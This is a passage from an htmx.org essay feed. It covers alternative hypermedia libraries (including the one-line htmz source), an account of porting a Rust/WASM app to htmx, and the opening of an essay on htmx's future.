&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;data-star.dev&#x2F;&quot;&gt;Datastar&lt;&#x2F;a&gt; started life as a proposed rewrite of htmx in typescript and with modern
tooling. It eventually became its own project and takes
an &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;data-star.dev&#x2F;guide&#x2F;getting_started#backend-setup&quot;&gt;SSE-oriented&lt;&#x2F;a&gt;
approach to hypermedia.&lt;&#x2F;p&gt;
&lt;p&gt;Datastar combines functionality found in both htmx and &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alpinejs.dev&#x2F;&quot;&gt;Alpine.js&lt;&#x2F;a&gt; into
a single, tidy package that is smaller than htmx.&lt;&#x2F;p&gt;
&lt;p&gt;You can see many examples of Datastar in action &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;data-star.dev&#x2F;examples&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;nomini&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#nomini&quot; aria-label=&quot;Anchor link for: nomini&quot;&gt;Nomini&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;nonnorm&#x2F;nomini&quot;&gt;Nomini&lt;&#x2F;a&gt; is a hypermedia implementation that embraces writing JavaScript in the
original and intended way, as a simple enhancement to mostly-static pages. Its goal is to add a minimal layer of LoB on
top of HTML to allow for powerful server-driven web apps with easily implemented client-side features. Additionally, it
is currently the smallest library existing that gives both reactive variables and partial page swaps (~2.8k minified, ~
1.4k minzipped).&lt;&#x2F;p&gt;
&lt;p&gt;In essence, Nomini is a tiny reimplementation of Datastar or a combination of Fixi and Alpine.js, intended to be a
minimal, pragmatic building block for reactive server-driven UIs.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ujs&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#ujs&quot; aria-label=&quot;Anchor link for: ujs&quot;&gt;µJS&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mujs.org&#x2F;&quot;&gt;µJS&lt;&#x2F;a&gt; is a small (~5k) dependency-free library that implements many hypermedia ideas and includes
pre-fetching, SSE, idiomorph-based morphing and many other &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mujs.org&#x2F;documentation&quot;&gt;great features&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;alpine-ajax&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#alpine-ajax&quot; aria-label=&quot;Anchor link for: alpine-ajax&quot;&gt;Alpine-ajax&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;If you are a fan of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alpinejs.dev&#x2F;&quot;&gt;Alpine&lt;&#x2F;a&gt; (which is a common library to use in conjunction with htmx) you
should also look at &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alpine-ajax.js.org&#x2F;&quot;&gt;Alpine AJAX&lt;&#x2F;a&gt;, an Alpine plugin which integrates htmx-like concepts
directly into Alpine.&lt;&#x2F;p&gt;
&lt;p&gt;You can see many examples of Alpine AJAX in action &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alpine-ajax.js.org&#x2F;examples&#x2F;&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hotwire-turbo&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#hotwire-turbo&quot; aria-label=&quot;Anchor link for: hotwire-turbo&quot;&gt;Hotwire Turbo&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;turbo.hotwired.dev&#x2F;&quot;&gt;Turbo&lt;&#x2F;a&gt; is a component of the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hotwired.dev&#x2F;&quot;&gt;Hotwire&lt;&#x2F;a&gt; set of web development
technologies by &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;37signals.com&#x2F;&quot;&gt;37Signals&lt;&#x2F;a&gt;, of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rubyonrails.org&#x2F;&quot;&gt;Ruby on Rails&lt;&#x2F;a&gt; fame. It is a polished
front end framework that is used heavily in the rails community, but can be used with other backend technologies as
well.&lt;&#x2F;p&gt;
&lt;p&gt;Some people who have had a bad experience with htmx &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=42615663&quot;&gt;have enjoyed turbo&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;htmz&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#htmz&quot; aria-label=&quot;Anchor link for: htmz&quot;&gt;htmz&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;leanrada.com&#x2F;htmz&#x2F;&quot;&gt;htmz&lt;&#x2F;a&gt; is a brilliant, tiny library that takes advantage of the fact that anchors and forms
already have a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTML&#x2F;Element&#x2F;a#target&quot;&gt;&lt;code&gt;target&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; attribute that can target
an &lt;code&gt;iframe&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This, in combination with the &lt;code&gt;location hash&lt;&#x2F;code&gt;, is used to
allow &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dl.acm.org&#x2F;doi&#x2F;fullHtml&#x2F;10.1145&#x2F;3648188.3675127#sec-7&quot;&gt;generalized transclusion&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This is the &lt;em&gt;entire&lt;&#x2F;em&gt; source of the library (I’m not joking):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;iframe &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hidden name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;htmz
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;onload&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;setTimeout&lt;&#x2F;span&gt;&lt;span&gt;(()&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;document.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;querySelector&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;contentWindow&lt;&#x2F;span&gt;&lt;span&gt;.location.hash||&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;null&lt;&#x2F;span&gt;&lt;span&gt;)?.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;replaceWith&lt;&#x2F;span&gt;&lt;span&gt;(...&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;contentDocument&lt;&#x2F;span&gt;&lt;span&gt;.body.childNodes))&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;iframe&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Amazing!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;twinspark&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#twinspark&quot; aria-label=&quot;Anchor link for: twinspark&quot;&gt;TwinSpark&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twinspark.js.org&#x2F;&quot;&gt;TwinSpark&lt;&#x2F;a&gt; is a library created by &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;solovyov.net&#x2F;&quot;&gt;Alexander Solovyov&lt;&#x2F;a&gt; that is
similar to htmx, and includes features such as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twinspark.js.org&#x2F;api&#x2F;ts-swap&#x2F;#morph&quot;&gt;morphing&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;It is being &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twinspark.js.org#who-is-using-this&quot;&gt;used in production&lt;&#x2F;a&gt; on sites with 100k+ daily users.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jquery&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#jquery&quot; aria-label=&quot;Anchor link for: jquery&quot;&gt;jQuery&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Finally, good ol’ &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;jquery.com&#x2F;&quot;&gt;jQuery&lt;&#x2F;a&gt; has the the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;api.jquery.com&#x2F;load&#x2F;#load-url-data-complete&quot;&gt;
&lt;code&gt;load()&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;
function that will load a given url into an element. This method was part of the inspiration for
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&quot;&gt;intercooler.js&lt;&#x2F;a&gt;, the precursor to htmx.&lt;&#x2F;p&gt;
&lt;p&gt;It is very simple to use:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#61afef;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;#result&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;load&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;ajax&#x2F;test.html&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;and might be enough for your needs if you are already using jQuery.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I hope that if htmx isn’t right for your application, one of these other libraries might be useful in allowing you to
utilize the hypermedia model. There is a lot of exciting stuff happening in the hypermedia world right now, and these
libraries each contribute to that.&lt;&#x2F;p&gt;
&lt;p&gt;Finally, if you have a moment, please give them (especially the newer ones) a star on Github: as an open source
developer I know that Github stars are one of the best psychological boosts that help keep me going.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>A Real World wasm to htmx Port</title>
        <published>2025-01-10T00:00:00+00:00</published>
        <updated>2025-01-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            Joe Fioti
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/a-real-world-wasm-to-htmx-port/"/>
        <id>https://htmx.org/essays/a-real-world-wasm-to-htmx-port/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/a-real-world-wasm-to-htmx-port/">&lt;style&gt;
img, video {
  max-width: 100%;
  margin: 10px;
}
&lt;&#x2F;style&gt;
&lt;p&gt;When I was in college, I wrote some customer service software that tied together some custom AI models I trained, the OpenAI API, a database, and some social media APIs to make the first version of &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sidekickai.co&quot;&gt;Sidekick&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;led-astray&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#led-astray&quot; aria-label=&quot;Anchor link for: led-astray&quot;&gt;Led astray&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Over the next couple years I worked on adding more features and growing the user base. As a solo founder, I should have been focused on sales, marketing, and market discovery. Instead, as an engineer, I wanted to hand-craft the perfect web stack. I was firmly of the belief that the network gap between the frontend and the backend could be abstracted away, and I could make writing web apps as simple as writing native apps. Did this have anything to do with my business, product, or customers? Absolutely not, but as many technical founders do, I believed if I perfected the tech, the customers would materialize.&lt;&#x2F;p&gt;
&lt;p&gt;My design decisions were naive, but also reminiscent to what’s seen in industry today: I wanted the backend and frontend to share a language (Rust), I wanted compile-time checks across the network boundary, I wanted to write frontend code like it was an app (reactive), and I wanted nearly instant reload times. What I got out of it was a buggy mess.&lt;&#x2F;p&gt;
&lt;p&gt;I had invented a system where simple rust functions can be tagged with a macro to generate a backend route and a frontend request function, so you can call the function like it was a standard function, and it would run on the backend. A true poor-mans GraphQL. My desire to write Rust on the frontend required I compile a WASM bundle. My desire for instant load times required isomorphic SSR. All of this complexity, for what was essentially a simple CRUD site.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;a-better-way&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#a-better-way&quot; aria-label=&quot;Anchor link for: a-better-way&quot;&gt;A better way&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;At this point Sidekick has grown and it now has a codebase which is responsible for not-insignificant volumes of traffic each day. There was this point where I looked into HTMX, multi-page websites, and HATEOAS, and realized the Sidekick codebase, which had grown into ~36k lines spread over 8 different crates, could be folded into a single crate, a single binary that ran the backend, which generated the frontend on demand through templating, and that HTMX could suffice for all the interactivity we required.&lt;&#x2F;p&gt;
&lt;p&gt;Large refactors typically have a bad track record so we wrote a quick and dirty simplified version of part of the site to convince ourselves it could work. After sufficient convincing, we undertook a full rewrite. All said and done, the rewrite took approximately 3 weeks of intense work. The results were dramatic:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;36k LOC -&amp;gt; 8k LOC&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;8 crates -&amp;gt; 1 crate&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;~5 bug reports &#x2F; week -&amp;gt; ~1 bug report &#x2F; week&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;More full nights of sleep&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;sidekick_port_loc.jpg&quot; alt=&quot;sidekick_port_loc.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The rewrite went far better than I could have imagined. It definitely won’t be representative of every experience, our app was definitely uniquely suited to HTMX. Axum and some custom middleware also went a long way for sharing common infrastructure across the site. Though we don’t have proper metrics, we’ve anecdotally noticed significantly improved load times.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;reflection&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#reflection&quot; aria-label=&quot;Anchor link for: reflection&quot;&gt;Reflection&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I’ll finish by touching on the biggest benefit in my eyes: it’s tremendously easier to add new features as our customers request them. A feature that would have taken 2 weeks to fully implement, test and ship, now takes a day or two. As a small startup with a large number of customer demands, this is table stakes.&lt;&#x2F;p&gt;
&lt;p&gt;Sidekick hasn’t raised VC funding so I can’t afford to hire lots of devs. With HTMX we don’t need to.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>The future of htmx</title>
        <published>2025-01-01T00:00:00+00:00</published>
        <updated>2025-01-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            Carson Gross
          </name>
        </author>
        
        <author>
          <name>
            Alex Petros
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/future/"/>
        <id>https://htmx.org/essays/future/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/future/">&lt;h2 id=&quot;in-the-beginning&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#in-the-beginning&quot; aria-label=&quot;Anchor link for: in-the-beginning&quot;&gt;In The Beginning…&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;htmx began life as &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&quot;&gt;intercooler.js&lt;&#x2F;a&gt;, a library built around jQuery that added behavior based
on HTML attributes.&lt;&#x2F;p&gt;
&lt;p&gt;For developers who are not familiar with it, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;jquery.com&#x2F;&quot;&gt;jQuery&lt;&#x2F;a&gt; is a venerable JavaScript
library that made writing cross-platform JavaScript a lot easier during a time when browser implementations were very
inconsistent, and JavaScript didn’t have many of the convenient APIs and features that it does now.&lt;&#x2F;p&gt;
&lt;p&gt;Today many web developers consider jQuery to be “legacy software.” With all due respect to this perspective, jQuery is
currently used on &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;w3techs.com&#x2F;technologies&#x2F;overview&#x2F;javascript_library&quot;&gt;75% of all public websites&lt;&#x2F;a&gt;, a number that dwarfs all other JavaScript tools.&lt;&#x2F;p&gt;
&lt;p&gt;Why has jQuery remained so ubiquitous?&lt;&#x2F;p&gt;
&lt;p&gt;Here are three technical reasons we believe contribute to its ongoing success:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;It is very easy to add to a project (just a single, dependency-free link)&lt;&#x2F;li&gt;
&lt;li&gt;It has maintained a very consistent API, remaining largely backwards compatible over its life (intercooler.js works
with jQuery v1, v2 and v3)&lt;&#x2F;li&gt;
&lt;li&gt;As a library, you can use as much or as little of it as you like: it stays out of the way otherwise and doesn’t
dictate the structure of your application&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;htmx-is-the-new-jquery&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#htmx-is-the-new-jquery&quot; aria-label=&quot;Anchor link for: htmx-is-the-new-jquery&quot;&gt;htmx is the New jQuery&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Now, that’s a ridiculous (and arrogant) statement to make, of course, but it is an &lt;em&gt;ideal&lt;&#x2F;em&gt; that we on the htmx team are
striving for.&lt;&#x2F;p&gt;
&lt;p&gt;In particular, we want to emulate these technical characteristics of jQuery that make it such a low-cost, high-value
addition to the toolkits of web developers. Alex has
discussed &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=lASLZ9TgXyc&quot;&gt;“Building The 100 Year Web Service”&lt;&#x2F;a&gt; and we want htmx to be a
useful tool for exactly that use case.&lt;&#x2F;p&gt;
&lt;p&gt;Websites that are built with jQuery stay online for a very long time, and websites built with htmx should be capable of
the same (or better).&lt;&#x2F;p&gt;
&lt;p&gt;Going forward, htmx will be developed with its &lt;em&gt;existing&lt;&#x2F;em&gt; users in mind.&lt;&#x2F;p&gt;
&lt;p&gt;If you are an existing user of htmx—or are thinking about becoming one—here’s what that means.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;stability-as-a-feature&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#stability-as-a-feature&quot; aria-label=&quot;Anchor link for: stability-as-a-feature&quot;&gt;Stability as a Feature&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;We are going to work to ensure that htmx is extremely stable in both API &amp;amp; implementation. This means accepting and
documenting the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;quirks&#x2F;&quot;&gt;quirks&lt;&#x2F;a&gt; of the current implementation.&lt;&#x2F;p&gt;
&lt;p&gt;Someone upgrading htmx (even from 1.x to 2.x) should expect things to continue working as before.&lt;&#x2F;p&gt;
&lt;p&gt;Where appropriate, we may add better configuration options, but we won’t change defaults.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;no-new-features-as-a-feature&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#no-new-features-as-a-feature&quot; aria-label=&quot;Anchor link for: no-new-features-as-a-feature&quot;&gt;No New Features as a Feature&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;We are going to be increasingly inclined to not accept new proposed features in the library core.&lt;&#x2F;p&gt;
&lt;p&gt;People shouldn’t feel pressure to upgrade htmx over time unless there are specific bugs that they want fixed, and they
should feel comfortable that the htmx that they write in 2025 will look very similar to htmx they write in 2035 and
beyond.&lt;&#x2F;p&gt;
&lt;p&gt;We will consider new core features when new browser features become available, for example we
are &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&#x2F;move-before&#x2F;&quot;&gt;already using&lt;&#x2F;a&gt; the experimental &lt;code&gt;moveBefore()&lt;&#x2F;code&gt; API on supported browsers.&lt;&#x2F;p&gt;
&lt;p&gt;However, we expect most new functionality to be explored and delivered via the
htmx &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;extensions&#x2F;&quot;&gt;extensions API&lt;&#x2F;a&gt;, and will work to make the extensions API more capable where
appropriate.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;quarterly-releases&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#quarterly-releases&quot; aria-label=&quot;Anchor link for: quarterly-releases&quot;&gt;Quarterly Releases&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Our release schedule is going to be roughly quarterly going forward.&lt;&#x2F;p&gt;
&lt;p&gt;There will be no death march upgrades associated with htmx, and there is no reason to monitor htmx releases for major
functionality changes, just like with jQuery. If htmx 1.x is working fine for you, there is no reason to feel like you
need to move to 2.x.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;promoting-hypermedia&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#promoting-hypermedia&quot; aria-label=&quot;Anchor link for: promoting-hypermedia&quot;&gt;Promoting Hypermedia&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;htmx does not aim to be a total solution for building web applications and services:
it &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dl.acm.org&#x2F;doi&#x2F;pdf&#x2F;10.1145&#x2F;3648188.3675127&quot;&gt;generalizes hypermedia controls&lt;&#x2F;a&gt;, and that’s roughly about it.&lt;&#x2F;p&gt;
&lt;p&gt;This means that a very important way to improve htmx — and one with lots of work remaining — is by helping improve the tools
and techniques that people use &lt;em&gt;in conjunction&lt;&#x2F;em&gt; with htmx.&lt;&#x2F;p&gt;
&lt;p&gt;Doing so makes htmx dramatically more useful &lt;em&gt;without&lt;&#x2F;em&gt; any changes to htmx itself.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;supporting-supplemental-tools&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#supporting-supplemental-tools&quot; aria-label=&quot;Anchor link for: supporting-supplemental-tools&quot;&gt;Supporting Supplemental Tools&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;While htmx gives you a few new tools in your HTML, it has no opinions about other important aspects of building your
websites. A flagship feature of htmx is that it does not dictate what backend or database you use.&lt;&#x2F;p&gt;
&lt;p&gt;htmx is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;hypermedia-on-whatever-youd-like&#x2F;&quot;&gt;compatible with lots of backends&lt;&#x2F;a&gt;, and we want to
help make hypermedia-driven development work better for all of them.&lt;&#x2F;p&gt;
&lt;p&gt;One part of the hypermedia ecosystem that htmx has already helped improve is template engines. When
we &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;essays&#x2F;template-fragments&#x2F;&quot;&gt;first wrote&lt;&#x2F;a&gt; about how “template fragments” make defining partial page
replacements much simpler, they were a relatively rare feature in template engines.&lt;&#x2F;p&gt;
&lt;p&gt;Not only are fragments much more common now, that essay
is &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;mitsuhiko&#x2F;minijinja&#x2F;issues&#x2F;260&quot;&gt;frequently&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sponsfreixes&#x2F;jinja2-fragments&quot;&gt;cited&lt;&#x2F;a&gt;
as an inspiration for building the feature.&lt;&#x2F;p&gt;
&lt;p&gt;There are many other ways that the experience of writing hypermedia-based applications can be improved, and we will
remain dedicated to identifying and promoting those efforts.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;writing-research-and-standardization&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#writing-research-and-standardization&quot; aria-label=&quot;Anchor link for: writing-research-and-standardization&quot;&gt;Writing, Research, and Standardization&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Although htmx will not be changing dramatically going forward, we will continue energetically evangelizing the ideas of
hypermedia.&lt;&#x2F;p&gt;
&lt;p&gt;In particular, we are trying to push &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;dl.acm.org&#x2F;doi&#x2F;pdf&#x2F;10.1145&#x2F;3648188.3675127&quot;&gt;the ideas&lt;&#x2F;a&gt; of htmx into the
HTML standard itself, via the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alexanderpetros.com&#x2F;triptych&#x2F;&quot;&gt;Triptych project&lt;&#x2F;a&gt;. In an ideal world, htmx
functionality disappears into the web platform itself.&lt;&#x2F;p&gt;
&lt;p&gt;htmx code written &lt;em&gt;today&lt;&#x2F;em&gt; will continue working forever, of course, but in the very long run perhaps there will be no
need to include the library to achieve &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;htmx.org&#x2F;examples&quot;&gt;similar UI patterns&lt;&#x2F;a&gt; via hypermedia.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;intercooler-was-right&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#intercooler-was-right&quot; aria-label=&quot;Anchor link for: intercooler-was-right&quot;&gt;Intercooler Was Right&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;At the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;intercoolerjs.org&#x2F;docs#philosophy&quot;&gt;end of the intercooler docs&lt;&#x2F;a&gt;, we said this:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Many javascript projects are updated at a dizzying pace. Intercooler is not.&lt;&#x2F;p&gt;
&lt;p&gt;This is not because it is dead, but rather because it is (mostly) right: the basic idea is right, and the implementation
